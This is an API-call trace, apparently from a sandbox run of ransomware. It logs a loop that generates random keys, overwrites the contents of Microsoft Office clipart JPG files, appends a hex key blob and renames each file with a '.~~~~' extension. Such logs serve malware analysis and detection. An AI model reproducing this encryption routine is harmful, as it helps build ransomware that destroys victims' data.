	[0100.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5be1550, dwHighDateTime=0x1d60e1e)) 
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862fe0
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862fe0 | out: hHeap=0x300000) returned 1
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.756] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28655b0
	[0100.757] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.757] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.757] GetLastError () returned 0x0
	[0100.757] GetLastError () returned 0x0
	[0100.757] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.757] GetLastError () returned 0x0
	[0100.757] GetLastError () returned 0x0
	[0100.760] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff26fe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.760] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0xd902, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0xd902, lpOverlapped=0x0) returned 1
	[0100.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.762] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.762] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.762] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.762] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.762] CloseHandle (hObject=0xc4) returned 1
	[0100.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.763] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.~~~~")) returned 1
	[0100.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.764] GetLastError () returned 0x0
	[0100.764] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x29517e0) returned 1
	[0100.765] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630a8 | out: pbBuffer=0x3630a8) returned 1
	[0100.765] CryptReleaseContext (hProv=0x29517e0, dwFlags=0x0) returned 1
	[0100.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630a8 | out: hHeap=0x300000) returned 1
	[0100.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.765] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22075555317) returned 1
	[0100.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5be1550, dwHighDateTime=0x1d60e1e)) 
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2a30
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2a30 | out: hHeap=0x300000) returned 1
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28656e0
	[0100.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.766] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.766] GetLastError () returned 0x0
	[0100.767] GetLastError () returned 0x0
	[0100.767] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.767] GetLastError () returned 0x0
	[0100.767] GetLastError () returned 0x0
	[0100.779] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff6f83, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.779] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x907d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x907d, lpOverlapped=0x0) returned 1
	[0100.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.781] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.781] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.781] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.781] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.781] CloseHandle (hObject=0xc4) returned 1
	[0100.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.782] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.~~~~")) returned 1
	[0100.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.783] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.783] GetLastError () returned 0x0
	[0100.783] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.785] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.785] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.785] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22077558051) returned 1
	[0100.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5c2d810, dwHighDateTime=0x1d60e1e)) 
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863018
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863018 | out: hHeap=0x300000) returned 1
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.786] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865778
	[0100.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.786] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.786] GetLastError () returned 0x0
	[0100.786] GetLastError () returned 0x0
	[0100.786] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.787] GetLastError () returned 0x0
	[0100.787] GetLastError () returned 0x0
	[0100.860] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff8dec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.860] WriteFile (in: hFile=0xc4, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x7214, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x26dfec0*=0x7214, lpOverlapped=0x0) returned 1
	[0100.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0100.861] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.861] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.861] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.861] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.862] CloseHandle (hObject=0xc4) returned 1
	[0100.862] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.862] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg.~~~~")) returned 1
	[0100.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.862] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.862] GetLastError () returned 0x0
	[0100.863] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0100.864] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.864] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0100.864] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22085391879) returned 1
	[0100.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa5cebef0, dwHighDateTime=0x1d60e1e)) 
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28630c0
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28630c0 | out: hHeap=0x300000) returned 1
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd670
	[0100.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd670 | out: hHeap=0x300000) returned 1
	[0100.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865810
	[0100.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.864] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0100.864] GetLastError () returned 0x0
	[0100.865] GetLastError () returned 0x0
	[0100.865] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0100.865] GetLastError () returned 0x0
	[0100.865] GetLastError () returned 0x0
	[0100.907] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffa4d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.907] WriteFile (in: hFile=0xc4, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5b2a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x5b2a, lpOverlapped=0x0) returned 1
	[0100.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.908] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.908] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.909] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.909] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.909] CloseHandle (hObject=0xc4) returned 1
	[0100.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178632.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178632.jpg.~~~~")) returned 1
	[0100.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.910] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0100.910] GetLastError () returned 0x0
	[0101.263] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0101.265] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.265] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0101.265] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22125522272) returned 1
	[0101.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa60a4150, dwHighDateTime=0x1d60e1e)) 
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863168
	[0101.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863168 | out: hHeap=0x300000) returned 1
	[0101.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x295e9b8
	[0101.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.266] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865188
	[0101.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x295e9b8 | out: hHeap=0x300000) returned 1
	[0101.266] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0101.266] GetLastError () returned 0x0
	[0101.266] GetLastError () returned 0x0
	[0101.266] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0101.266] GetLastError () returned 0x0
	[0101.266] GetLastError () returned 0x0
	[0101.271] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff75f4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.272] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8a0c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x8a0c, lpOverlapped=0x0) returned 1
	[0101.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0101.273] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.273] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0101.273] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0101.273] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0101.273] CloseHandle (hObject=0xc4) returned 1
	[0101.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x295e9b8
	[0101.274] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.~~~~")) returned 1
	[0101.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x295e9b8 | out: hHeap=0x300000) returned 1
	[0101.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0101.275] GetLastError () returned 0x0
	[0101.276] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0101.277] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.277] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
